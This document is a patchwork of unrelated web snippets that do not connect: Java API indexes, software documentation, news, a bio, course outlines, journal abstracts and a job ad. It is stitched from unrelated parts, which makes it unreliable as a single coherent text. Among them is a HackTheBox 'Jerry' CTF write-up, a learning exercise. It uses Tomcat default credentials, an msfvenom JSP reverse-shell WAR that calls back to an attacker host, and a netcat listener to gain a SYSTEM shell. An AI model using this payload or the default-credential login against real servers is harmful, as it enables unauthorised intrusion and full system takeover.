setPrescriptionPatientName(String)
- Method in class view.
PatientDashboardView
setPrescriptionPatientSex(String)
- Method in class view.
PatientDashboardView
setPrescriptionRefereneNumber(String)
- Method in class view.
PatientDashboardView
setPrescriptionStatus(String)
- Method in class view.
PatientDashboardView
setQtyInStock(String)
- Method in class model.
Medicine
setQtyPrescribed(String)
- Method in class model.
Prescription
setRating(String)
- Method in class model.
Rating
setStartDate(Date)
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Prescription
setState(IAppointmentState)
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Appointment
setState(IMedicationState)
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Medicine
setState(IPrescriptionState)
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Prescription
setUniqueID(String)
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Appointment
setUniqueID(String)
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LoginObject
setUniqueID(String)
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Medicine
setUniqueID(String)
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Prescription
setUniqueID(String)
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setUser(Patient)
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CurrentUser
setUser(Administrator)
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CurrentUser
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StorageWriter()
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Written (mostly) in JavaScript using the jQuery, jQuery UI, Flot and jStat libraries.
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Dubai's innovation for producing drinkable water out of the sea when faced with the problem of scarcity of water.
Young boy who opened up a bank for kids where they can earn money by bringing in waste material for recycling, teaching the kids financial responsibility while making the environment cleaner.
The students shall be given a task to produce a useful item from waste material and rewards would be given to students who make items of significant utility. This would spark innovation inside them.
What is sustainable development in Hindi.
Sustainable development with example.
In the middle of an extensive eucalyptus plantation Brazil, the Landless' Workers Movement is showing how agroforestry can help us tackle social and environmental challenges as it can fight hunger, malnutrition and environmental degradation.
Magna Mater is a company aiming to support and promote Italian biodynamic and organic small producers. With a holistic approach to sustainability, they care for the soil, promote a fair treatment to the producers and bring a top-quality, healthy product to the consumers.
DESAPEGUE is a clothing store from Vitoria, Brazil that is creating a positive impact through fashion. They work with carefully curated second-hand clothes and also sell products from local ethical brands. They also offer a shared wardrobe service where costumers can access clothes by renting them via a membership or just by renting a single item.
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The record view allows you to view and edit values in records.
You can open a record in the record view by:
The record view is made up of a hierarchy of nodes which represent individual elements of a record. Nodes can be expanded or collapsed by clicking on the + / - button, and you can select a node by clicking on it. You can expand all nodes by clicking the + button in the Element Names header, and you can collapse all nodes by clicking the - button. See the hotkeys section below for additional interactions.
The first column on the record view contains element names corresponding to each node. The second column corresponds to the original "master" version of the record. Subsequent columns correspond to overrides of the record.
You can edit values inline by clicking on an editable element while it is focused or by pressing Shift + Enter. When editing a value inline you will be presented with one of three editors:
You can apply your changes and close the inline value editor by pressing Enter or by clicking on another field in the record view. Pressing Escape will cancel inline value editing and discard your changes.
The address bar on the record view can be used to navigate to a specific record via a path, or to navigate through records that were previously viewed. You can close the address bar by clicking the X button on it. You can open or focus the address bar by pressing Ctrl + A.
Below are examples of some of the most commonly used valid path formats:
FileName.esp\01234567
- Hexadecimal Form ID path.
FileName.esp\RecordEditorID
- Editor ID path.
FileName.esp\"FULL Name"
- FULL Name path.
Note: all hotkeys only work when the address input is focused unless otherwise noted.
You can right-click anywhere in the record view to open a context menu with actions. The context menu actions available are listed below:
| Item | Availability | Hotkey | Description |
|---|---|---|---|
| Add | Visible when right-clicking an unassigned element or an array element in an editable record. | Insert | Adds the element to the record. Adding an element to an array will append a new element to it. |
| Delete | Visible when right-clicking a removable element in an editable record. | Delete | Removes the element from the record. |
| Edit | Visible when right-clicking a value element in an editable record. | Enter | Opens the selected node in the record view. |
| Hide/Show unassigned fields | Always visible and available. | Toggles the visibility of rows which are not assigned. This option is redundant when using "Hide non-conflicting rows". | |
| Hide/Show non-conflicting rows | Always visible and available. | Toggles the visibility of rows which do not have conflicting values. Only rows with conflict statuses of caOverride , caConflict , and caConflictCritical are shown. |
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| Copy | Always visible, enabled when an assigned element is focused. | Ctrl + C | Copies the selected element to the application's clipboard. |
| Copy Path | Always visible. Enabled when an assigned element is focused. | Ctrl + Shift + C | Copies the path of the selected element to the system clipboard. |
| Paste | Always visible. Enabled when the application clipboard can be pasted into the selected element. | Ctrl + V | Pastes copied elements into the selected elements. |
| Paste into record | Always visible. Enabled when the application clipboard can be pasted into the focused record. | Ctrl + Shift + V | Pastes copied elements into the focused record. |
The following is a list of supported drag and drop operations involving the record view:
| Drag source | Drop target | Result |
|---|---|---|
| Record node from tree view | Reference field on record view | Changes reference field to reference the dragged record |
| Record node from tree view | Array of references on record view | Adds an entry to the array referencing the dragged record |
| Element from record view | Element on record view (of same type) | Assigns the source element to the target element |
| Value element from record view | Value element on record view | Attempts to set the value of the target element to the value of the source element |
| Array entry from record view | Matching array on record view | Adds the entry to the array (can be used to create duplicate entries) |
The following is a list of supported copy and paste operations involving the record view:
| Copy source | Paste target | Result |
|---|---|---|
| Element from record view | Element on record view (of same type) | Assigns the source element to the target element |
| Value element from record view | Value element on record view | Attempts to set the value of the target element to the value of the source element |
| Array entry from record view | Matching array on record view | Adds the entry to the array (can be used to create duplicate entries) |
| Element from record view | Records on tree view | Attempts to copy the element to the selected records |


I was born in January, 1960, in Magamaga, Kagoma Parish, Jinja District. After Primary and Secondary School, I studied at Nakawa Vocational Training Institute, a Secretarial Course. In the 80's, I worked with, Ministry of Planning and Economic Development, as a personal secretary. Thereafter I joined UNDP, at the Headquarters in Kampala. Then I worked as a personal secretary, on different UNDP Rehabilitation projects, based in Entebbe.
In the early 90's I went abroad, lived in Germany for 26 Years. In German studied Export Trade and Regulations. Among others I worked with STEADTLER Mars GmbH & Co a Producer of all types of writing, drawing, colouring, modelling material, Instruments and colours. Worked 15 Years with Siemens AG, Digital Factory Sector which offers integrated hardware, software and technology-based services to support manufacturing companies worldwide. In both companies was employed in the export department.


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Name: Toxic Rick
Status: Dead
Species: Humanoid
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802.1Q VLAN Tagging
Fig. 1 - 802.3 VLAN Tag added to Frame
Outcome: You will become knowledgable on how the ethernet frame is built, and how tools such as scapy can interact with them.
Network Layer
OSI Layer 3
CCNE002.002 Describe IPv4 and IPv6 packet structures
IPv4 Headers
IPv4 Header
Example IPv4 Packet
IPv4 / IPv6 Header Field Comparison
Obj. 4.1, 4.3 through 4.4
IPv6 Headers
IPv6 Header
Example IPv6 Packet
TTL Analysis
Vendors have chosen different values for TTL which can provide insight to which OS family a generated packet is from.
ICMP Headers
ICMP Header
Example ICMP Packet
Review Address Auto Configuration
SLAAC
- APIPA
- Review SLAAC (ICMPv6 messages)
- RFC 4862
Outcome: You will become knowledgable on how the ipv6 and icmp headers are built, and how tools such as scapy can interact with them.
Transport Layer
OSI Layer 4
CCNE002.001 Identify the various packet headers
UDP Headers
UDP Header
Example UDP Datagram
TCP Headers
TCP Header
Example TCP Segment
TCP Flags
TCP Flag Breakout (Binary and Hex)
Operating System Considerations
CCNE001.002 Understanding User space vs Kernel Space for network functions
Discuss basics behind User/Kernel Space
- System Memory: Kernel space vs. User space
- Sockets: Families/Types
- Tools/interaction with sockets
Discuss Network Namespaces
A network namespace is logically another copy of the network stack, with its own routes, firewall rules, and network devices. By default a process inherits its network namespace from its parent. Initially all the processes share the same default network namespace from the init process.
Outcome: You will become more confident of python skills by researching and creating raw sockets to send and encode data in a packet.


Trump says Mexico and Canada could back out of his signature NAFTA replacement deal, Business Insider - Business Insider Singapore
by Gina Heeb, Business Insider US- President Donald Trump on Monday cast further doubt on his signature rewrite of the 25-year-old North American Free Trade Agreement.
- He claimed that Mexico and Canada could reject the deal before it is finalized.
- The North American neighbors have made no public indication that they could pull out of USMCA.
- Visit Business Insider’s homepage for more stories.
President Donald Trump on Monday cast further doubt on his signature rewrite of the 25-year-old North American Free Trade Agreement, claiming that Mexico and Canada could reject the deal before it is finalized.
“At some point pretty soon, you’re going to have Canada and Mexico say what’s going on, send the agreement back, let’s not make the deal,” he said at a press conference, though the two countries have not publicly threatened to do so. “And I wouldn’t blame them at all, and that’s okay.”
Trump has sought to cast blame on House Speaker Nancy Pelosi for the delayed ratification of the deal, which was announced last year. But Pelosi isn’t able to bring the trade deal to the floor for a vote yet because it’s not done.
“You’re going to have Mexico and Canada pull it pretty soon,” Trump continued. “And if they do, it’s her fault. Not mine. We gave you a great deal.”
The Trump administration and Congress have continued to negotiate the terms of United States-Mexico-Canada Agreement after top Democrats pushed for stricter labor standards and enforcement mechanisms in the deal. Trump separately rolled back steep tariffs on metal from the two countries this year, which had previously been a major obstacle for ratification of USMCA.
In April, the International Trade Commission found that USMCA would have a positive but modest effect on the US economy.
The independent experts said the trade deal would increase gross domestic product by 0.35 percentage points or $68.5 billion by the time the deal is fully implemented in six years. The auto industry would create roughly 30,000 jobs under the agreement, but overall American car production and consumption would fall because of higher prices.


este.ui.Component provides event delegation with simple CSS selector filter for these events:
Click on me.
Click on me once.
Box with inline element, note how inner mouseovers/mouseouts are ignored.
It behaves like mouseenter/mouseleave events.
tap me
swipe right me
Open console to see logs.


Is there a geographical difference in used car sales volume or price across the United States? We'll find out how sales volume and price varies across states and explore what factors may explain the difference.
This section answers the following subquestions:
Texas, California and Florida have the greatest sales volumes, which are remarkably greater than the rest of the states.
The vertical axis indicates the percentage of workers who use public transportation to commute. The horizontal axis indicates the population of that state. The size of the bubble indicates the sales volume of that state.
Does greater state population indicate a higher sales volume?
Yes.
Imagining drawing horizontal lines on the plot, one pattern is clear: In states with greater population, the sales volume of used cars is greater.
Do states with greater public transportation usage tend to have higher sales volume?
No.
Drawing horizontal lines along the vertical axis, we can see that public transportation usage can barely explain the variability in sales volumes across states, which is slightly surprising.
States with a greater gross domestic product tend to have higher sales volume of used cars. The p-value for the regression is less than 0.000, and R-Squared is 0.74, which means that state GDP can predict 74% of the sales volume in that state.
Also, note that GDP is positively related to population. No wonder that GDP can largely explain the sales volume since we've seen in Figure x that greater state population indicates a higher sales volume.


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Dogri is a Northern Indo-Aryan language spoken mostly in Jammu and Kashmir.
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Virtual reality devices are becoming more and more advanced and affordable in recent times. Especially the usage of those devices in the game industry are recently getting more attention. An important part of all kinds of applications, be it a tutoring application or game, are virtual characters. To ensure an enjoyable and plausible experience the believability of those characters plays a important role. Two factors that have a direct influence on that are verbal and non-verbal social behaviours. Two terms are important when talking about immersive virtual environments, presence and co-presence. Presence represents the feeling of ”being there” and co-presence the sense of ”being there together”. Co-presence can only occur if the virtual environment has a social component. This thesis investigates the influence non-verbal social cues on the sense of presence and co-presence in virtual environments. For that reason a system to enable gaze behaviour for virtual agents was implemented. Besides that, also facial expressions and a simple collision avoidance were realized. This thesis takes a closer look at how those feature were implemented. To evaluate the influence of that implementation a user study was carried out where participants had to test two scenes with different non-verbal agent behaviour. After the test they then had fill out a questionnaire and take part in a final interview. Lastly, the results of that user study are presented and interpreted and future possibilities are getting discussed.
Virtual Reality, Presence, Co-Presence, Believable Agents, Gaze, Collision Avoidance, Facial Expressions


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tools for building software applications an API specifies how software components should
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components. [wikipedia]
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add a new customer or any other functionality. Your IT staff can integrate with our API and
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servers. Comprehensive HTTPS API allows for easy and flexible integration of systems.
Q: What are your acceptable document formats for API submission? A: Word, PDF, Tiff, Excel, Publisher and PowerPoint.


KOSMOS supports GJA 2019 Awards with GH¢20,000.00
by Emmanuel Todd, GNAAccra, Nov 14, GNA - KOSMOS Energy has presented a cheque for GHC¢20,000.00 to support the Ghana Journalists Association's (GJA) 24th Awards Night, to reward outstanding journalists to climax its 70th Anniversary celebration.
The ceremony will be held in Accra, on Saturday, November 23.
Mr Joe Mensah, Senior Vice-President, KOSMOS Energy, who made the presentation, said journalists played an important role in the nation's development by bringing to the public domain the important things that happened across the nation.
He said over the past six years, in line with the organisation's culture, it had been supporting the GJA, which it considered a key partner,
He advised media practitioners to give of their best in their respective fields, saying success could not be achieved in a vacuum but through hardwork, discipline and team work.
Mr Affail Monney, President of the GJA, expressed his appreciation on behalf of the Association, and commended them for their consistent support.
He said many institutions had benefitted from the works of Journalists but had failed to show due appreciation.
He used the opportunity to congratulate Mr Joe Mensah on his recent elevation to the position of Senior Vice-President, KOSMOS Energy and the Head of the Ghana Unit.
Mr Monney stated that the best of the best would be awarded in the impending awards ceremony and urged other institutions to emulate KOSMOS’ kind gesture.
GNA


HackTheBox - jerry [no Metasploit]
Reconnaissance
Let’s start with a usual Nmap scan for services on TCP ports:
kali@kali:~$ export TARGET=<IP_ADDRESS>
kali@kali:~$ nmap -sV -sC -p- -O -oA nmap_tcp $TARGET
Results of the TCP scan:
Nmap scan report for <IP_ADDRESS>
Host is up (0.16s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/7.0.88
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%)
No exact OS matches for host (test conditions non-ideal).
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 254.72 seconds
Only one port, I guess… it’s full web server for this one… Great, my speciality /s :D
Let’s start a scan on UDP while we go have a look at the web server then… (spoiler: nothing on there)
# nmap -sU -p- -oA nmap_udp $TARGET
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-23 03:19 EDT
Stats: 0:03:14 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 3.31% done; ETC: 04:57 (1:34:25 remaining)
Nmap scan report for <IP_ADDRESS>
Host is up (0.089s latency).
All 65535 scanned ports on <IP_ADDRESS> are open|filtered
Nmap done: 1 IP address (1 host up) scanned in 5847.36 seconds
| Port | Service | Version | Vuln? |
|---|---|---|---|
| 8080/tcp | http | Apache Tomcat 7.0.88/Coyote JSP engine 1.1 | default credentials + manager app |
Initial Foothold
8080 Apache Tomcat
Let’s start by visiting the website: http://<IP_ADDRESS>:8080. There’s the default start page for the Apache Tomcat/7.0.88
(as Nmap already told us).
Clicking around, Manager App
spawns a login prompt:
Hitting cancel
re-route us on a very verbose 401 page:
with… a username and password: tomcat:s3cret
. And you know what? They actually work, we have access to the Application Manager:
Exploitation
There’s a lot going on that Tomcat Web Application Manager
page. First, we can add to our information stash the OS name: Windows Server 2012 R2
and its architecture: amd64
Next, that WAR file to deploy
with a file upload sounds very interesting. What if we craft a reverse shell and upload it there?
Does msfvenom supports war files…? It sure does!
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP_ADDRESS> LPORT=4444 -f war > shell.war
Payload size: 1093 bytes
Final size of war file: 1093 bytes
Beepidiboop, we have a reverse shell file! Let’s go try that WAR upload feature now:
We can see our shell
application was deployed and is available like any other app:
Start a netcat listener on the host:
nc -lvp 4444
Now, click on the shell link: http://<IP_ADDRESS>:8080/shell/ to trigger a connect back on our netcat listener!
Connection from <IP_ADDRESS>:49192
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.
C:\apache-tomcat-7.0.88>whoami
whoami
nt authority\system
And we’re directly nt authority\system
. Huh, I guess that’s it then…?
C:\apache-tomcat-7.0.88>dir /s C:\user.txt
dir /s C:\user.txt
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Ah, no user.txt
? Looks like it’s an older machine with another flag format, it can be found in the Administrator’s Desktop:
C:\Users\Administrator\Desktop\flags>dir
dir
Volume in drive C has no label.
Volume Serial Number is FC2B-E489
Directory of C:\Users\Administrator\Desktop\flags
06/19/2018 06:09 AM <DIR> .
06/19/2018 06:09 AM <DIR> ..
06/19/2018 06:11 AM 88 2 for the price of 1.txt
1 File(s) 88 bytes
2 Dir(s) 27,601,944,576 bytes free
Take-aways
- Default credentials should never be left unmodified on a service exposed (internally or externally).
- Tomcat probably doesn’t need to run as
nt authority\system


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Simple calendar. Select a date
Click on calendar icon to open calendar, then select a date.
You can format the date according with momentjs format options.
You can also use element open property (true/false) to make the calendar opened after the element is stamped.
You can chose to disable days that are not in a specific interval
Disabled date picker
Dynamically created datepicker
Datepickers with no date initialization after element stamp
Datepickers with clear button


Provides factory methods for creating XQQuery and DynamicContext objects. More...
#include <XQilla.hpp>
Public Types | |
| enum | Flags { NO_STATIC_RESOLUTION = 0x1, NO_ADOPT_CONTEXT = 0x2, DEBUG_QUERY = 0x4, NO_OPTIMIZATION = 0x8, NO_DEFAULT_MODULES = 0x10 } |
Flags used by the XQilla methods. These are used by bitwise OR-ing (|) their values together. More... | |
| enum | Language { XQUERY = 0x00, XPATH2 = 0x01, FULLTEXT = 0x02, UPDATE = 0x04, EXTENSIONS = 0x08, XSLT2 = 0x10, VERSION3 = 0x20, XQUERY_FULLTEXT = (XQUERY | FULLTEXT), XQUERY_UPDATE = (XQUERY | UPDATE), XQUERY_FULLTEXT_UPDATE = (XQUERY | FULLTEXT | UPDATE), XPATH2_FULLTEXT = (XPATH2 | FULLTEXT), XSLT2_FULLTEXT = (XSLT2 | FULLTEXT), XQUERY3 = (XQUERY | VERSION3), XQUERY3_FULLTEXT = (XQUERY | VERSION3 | FULLTEXT), XQUERY3_UPDATE = (XQUERY | VERSION3 | UPDATE), XQUERY3_FULLTEXT_UPDATE = (XQUERY | VERSION3 | FULLTEXT | UPDATE), XPATH3 = (XPATH2 | VERSION3), XPATH3_FULLTEXT = (XPATH2 | VERSION3 | FULLTEXT), XSLT3 = (XSLT2 | VERSION3), XSLT3_FULLTEXT = (XSLT2 | VERSION3 | FULLTEXT) } |
Enumeration used to select a language to parse. More... | |
Public Member Functions | |
| XQilla (xercesc::MemoryManager *memMgr=0) | |
| Constructs the object. | |
| ~XQilla () | |
| Destructs the object. | |
Static Public Member Functions | |
Parsing Methods | |
| static XQQuery * | parse (const XMLCh *query, DynamicContext *context=0, const XMLCh *queryFile=NULL, unsigned int flags=0, xercesc::MemoryManager *memMgr=xercesc::XMLPlatformUtils::fgMemoryManager, XQQuery *result=0) |
| Parse the expression contained in the given query string. | |
| static XQQuery * | parse (const xercesc::InputSource &querySrc, DynamicContext *context=0, unsigned int flags=0, xercesc::MemoryManager *memMgr=xercesc::XMLPlatformUtils::fgMemoryManager, XQQuery *result=0) |
| Parse the expression from the given InputSource. | |
| static XQQuery * | parseFromURI (const XMLCh *queryFile, DynamicContext *context=0, unsigned int flags=0, xercesc::MemoryManager *memMgr=xercesc::XMLPlatformUtils::fgMemoryManager, XQQuery *result=0) |
| Parse the expression residing at the given URL. | |
Factory Methods | |
| static DynamicContext * | createContext (Language language=XQUERY, XQillaConfiguration *conf=0, xercesc::MemoryManager *memMgr=xercesc::XMLPlatformUtils::fgMemoryManager) |
| Creates a context suitable for parsing an expression with. | |
Friends | |
| void | CompileDelayedModule::compile (const XMLCh *queryFile) |
Provides factory methods for creating XQQuery and DynamicContext objects.
This class calls XQillaPlatformUtils::initialize() when it is constructed, and XQillaPlatformUtils::terminate() when it destructs, so there is no need to seperately initialize or terminate either Xerces or XQilla.
| enum XQilla::Flags |
Flags used by the XQilla methods. These are used by bitwise OR-ing (|) their values together.
| NO_STATIC_RESOLUTION |
Don't perform static resolution or any optimization. |
| NO_ADOPT_CONTEXT |
Don't adopt the context and delete it when the XQQuery is deleted. |
| DEBUG_QUERY |
Build debugging hooks into the query to enable the use of DebugListener. |
| NO_OPTIMIZATION |
Don't perform optimization. |
| NO_DEFAULT_MODULES |
Don't automatically import the default modules. |
| enum XQilla::Language |
Enumeration used to select a language to parse.
| XQilla::XQilla | ( | xercesc::MemoryManager * | memMgr = 0 |
) |
Constructs the object.
In the process, XQillaPlatformUtils::initialize() is called to initialize XQilla and Xerces.
| memMgr | If provided, this is the MemoryManager used to initialize Xerces. |
| XQilla::~XQilla | ( | ) |
Destructs the object.
In the process, XQillaPlatformUtils::terminate() is called to terminate XQilla and Xerces.
| static DynamicContext* XQilla::createContext | ( | Language | language = XQUERY , |
|
| XQillaConfiguration * | conf = 0 , |
|||
| xercesc::MemoryManager * | memMgr = xercesc::XMLPlatformUtils::fgMemoryManager | |||
| ) | [static] |
Creates a context suitable for parsing an expression with.
| memMgr | The memory manager used to create the DynamicContext. |
| static XQQuery* XQilla::parse | ( | const xercesc::InputSource & | querySrc, | |
| DynamicContext * | context = 0 , |
|||
| unsigned int | flags = 0 , |
|||
| xercesc::MemoryManager * | memMgr = xercesc::XMLPlatformUtils::fgMemoryManager , |
|||
| XQQuery * | result = 0 | |||
| ) | [static] |
Parse the expression from the given InputSource.
| querySrc | An InputSource which the expression will be parsed from. | |
| context | If specified, the context to use for parsing this expression. A default context is used if this parameter is 0. | |
| flags | A bitwise OR of the Flags constants, that control aspects of how the XQQuery object is created. | |
| memMgr | If specified, the memory manager used to create the XQQuery object. |
| XQException | If a parse error occurs. |
| static XQQuery* XQilla::parse | ( | const XMLCh * | query, | |
| DynamicContext * | context = 0 , |
|||
| const XMLCh * | queryFile = NULL , |
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| unsigned int | flags = 0 , |
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| xercesc::MemoryManager * | memMgr = xercesc::XMLPlatformUtils::fgMemoryManager , |
|||
| XQQuery * | result = 0 | |||
| ) | [static] |
Parse the expression contained in the given query string.
| query | A string containing the expression to parse. | |
| context | If specified, the context to use for parsing this expression. A default context is used if this parameter is 0. | |
| queryFile | The name of the file that query originates in. This is passed back to the user in an XQException if an error occurs. | |
| flags | A bitwise OR of the Flags constants, that control aspects of how the XQQuery object is created. | |
| memMgr | If specified, the memory manager used to create the XQQuery object. |
| XQException | If a parse error occurs. |
| static XQQuery* XQilla::parseFromURI | ( | const XMLCh * | queryFile, | |
| DynamicContext * | context = 0 , |
|||
| unsigned int | flags = 0 , |
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| xercesc::MemoryManager * | memMgr = xercesc::XMLPlatformUtils::fgMemoryManager , |
|||
| XQQuery * | result = 0 | |||
| ) | [static] |
Parse the expression residing at the given URL.
| queryFile | The URL of the expression to parse. | |
| context | If specified, the context to use for parsing this expression. A default context is used if this parameter is 0. | |
| flags | A bitwise OR of the Flags constants, that control aspects of how the XQQuery object is created. | |
| memMgr | If specified, the memory manager used to create the XQQuery object. |
| XQException | If a parse error occurs. |
| void CompileDelayedModule::compile | ( | const XMLCh * | queryFile | ) | [friend] |


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Vol.1 | Issue 1
A critical step in applying a computational approach for drug discovery under the new outbreak situation
Thanet Pitakbut (TP) *, Sukanya Dej-adisai (SD) *
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2020-12-31
The urgency of the drug discovery against viral infection is raising after the emergence of 2019 new coronavirus epidemic in China. The traditional drug discovery requires years of operation. Therefore, the fast-track strategy has been proceeded by applying a computer-based approach. However, the…
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Anti-cancer property from a Thai medicinal plant
Sarayut Radapong (SR) *, Satyajit D. Sarker, Kenneth J. Ritchie (KJR) *
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2020-12-31
Oxyresveratrol poses potent cytotoxicity to several kinds of cancer cells. The compound moderated various molecular alterations of breast cancer cells including apoptosis, cell proliferation, metastasis and cancer repair pathways. Interestingly, Oxyresveratrol down-regulates RAD51 and genes in…
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Atmospheric Water Generator
Harit Keawmuang *
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2020-12-31
There are still many places in the world where safe drinkable water is not available. The reason mostly lies in not having enough freshwater resources and the cleanliness of the water. In order to solve these problems, an atmospheric water generator serves to produce clean potable water by using the…
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Automatic Brain Tumour Regions Segmentation Using Modified U-Net
Keerati Kaewrak *, John Soraghan, Gaetano Di-Caterina, Derek Grose
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2020-12-31
Early diagnosis is an important key for brain tumour patients' survival. The segmentation of the tumour regions is done manually by the experts and it is time-consuming. In this work, we present a novel network architecture that automatically segments the whole tumour regions and intra-tumour…
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Cooperativity in non-covalent metallophilic Pt···Pt interaction of aggregated square-planar Pt(II) complexes bearing isoquinolinyl pyrazolate; Theoretical insights
Chattarika Sukpattanacharoen, Prashant Kumar, Nawee Kungwan (NK) *, Daniel Escudero (DE) *
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2020-12-31
Pt···Pt contacts are more evident in the trimer aggregates rather than in the dimer ones, and especially in the case of the T1 optimized geometries. Esyn and E-EA values indicate a positive synergy between both interactions which is in good agreement with the shortening of the equilibrium distance…
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Effects of Macro Uncertainty on Subjective Uncertainty and Mean Expectation
Giulia Piccillo (GP) *, Poramapa Poonpakdee (PP) *
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2020-12-31
Macro uncertainty affects the assessed probabilistic distribution of individual economic forecasts. In this study, we empirically document the effects of macro uncertainty on subjective uncertainty (second moment) and mean expectation (first moment) of GDP growth and income forecasts. Based on the…
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Identification of volatile organic compounds by use of Field Asymmetric Ion Mobility Spectrometry
Nattapong Chantipmanee *, Peter C. Hauser
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2020-12-31
Field Asymmetric Ion Mobility Spectrometer (FAIMS) provides rapid (30 seconds for a sample) analysis under atmospheric pressure. […] * corresponding author<EMAIL_ADDRESS>Received: 28 February 2020, Accepted: 06 June 2020, Published: 31 December 2020 DOI: 10.5281/zenodo.4383331…
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Image Inpainting with Variational Autoencoders
Sanhanat Deesamutara *, Federico Maggiore
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2020-12-31
This work presents the training methodology of variational autoencoder in order to restore the missing part of a corrupted image and question the requirement of homogeneity in the implementation and difference situation of corrupted data. […] * corresponding author…
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Investigating a challenge of building a superconducting quantum computer
Nuttamas Tubsrinuan *, Gustav Andersson, Per Delsing
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2020-12-31
Parasitic two-level systems (TLS) coupling to a superconducting quantum circuit causes information loss. To mitigate this problem, a better physical understanding of the coupling mechanism is crucial. Phase noise caused by TLS interaction is investigated by using a surface acoustic wave resonator.…
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Lessons learnt from Impact to World’s Aviation due to Covid-19
Tanut Ungwattanapanit
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2020-12-31
The world’s aviation industry had been skyrocketing for the past decades. The demand for new aircraft was so high that airlines complained to Airbus for failing to deliver aircraft on time. Suddenly right after Chinese New Year this year, the world of aviation has collapsed nearly completely.…
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Protein extraction from Rice bran
Suriphon Siwongsa *
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2020-12-31
Rice bran is a by-product of the rice milling process, which is classified as a waste. However, there has been research done earlier; found that rice bran contains a massive number of proteins when compared to other plants. The extraction of plant proteins using cellulase enzymes is considered…
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Regulating Online Defamatory and Insulting Speech under Thai Law
Cheewin Mallikamarl *
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2020-12-31
The Internet allows us to freely express ideas more than other types of communication. Some online speech may impact a personality right. Law should strike a fair balance between preserving the freedom of speech and providing the protection to a personality right. Thai law protects personality…
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Risk assessment of a self-tracking EM-integrated fetoscope
Wipharat Phokee *, Mirza Awais Ahmad, Jan Deprest, Emmanuel Vander Poorten, Liliane Pintelon
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2020-12-31
Embedding an electromagnetic (EM) sensing at the tip of a fetoscope is appealing as it would allow to record the position and orientation of the tip of the fetoscope in real time. This tracking information may be useful for advanced guidance schemes that may help the surgeon during the intervention.…
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The residential site environmental preferences of older adults in a rural Asian context from a case study of a village in Northern Thailand
Alisa Hongthong *, Patricia Noxolo, Lloyd Jenkins, Yueming Zhang
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2020-12-31
This study examines elders’ preferences for residential site environments from their perceptions and evaluations. Unlike most earlier works on environments for elders, the study focuses on residential sites in a rural Asian context, with a mixed-methodology based on the extent of Person-Environment…
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Xanthine Oxidoreductase Mediates Nitrite-Induced Platelet Inhibition
Tipparat Parakaw, Rayomand Khambata, Amrita Ahluwalia *
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2020-12-31
Xanthine oxidoreductase (XOR) is a potential missing link in platelet hyperactivity and cardiovascular diseases. Bioconversion of NO2- to NO by XOR modulates platelet reactivity as we observed rises in plasma NO2- levels after Xdh allele deletion in mice. This higher plasma NO2- in Xdh heterozygous…


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- Provide technical leadership to project team(s) to perform design to deployment related activities, provide guidance, perform reviews, prevent and resolve technical issues.
- Designs and leads implementation of scalable, secure JAVA-based applications.
- Providing input into regarding new technologies and techniques, as well as participate in the development of proof of concepts and best practices.
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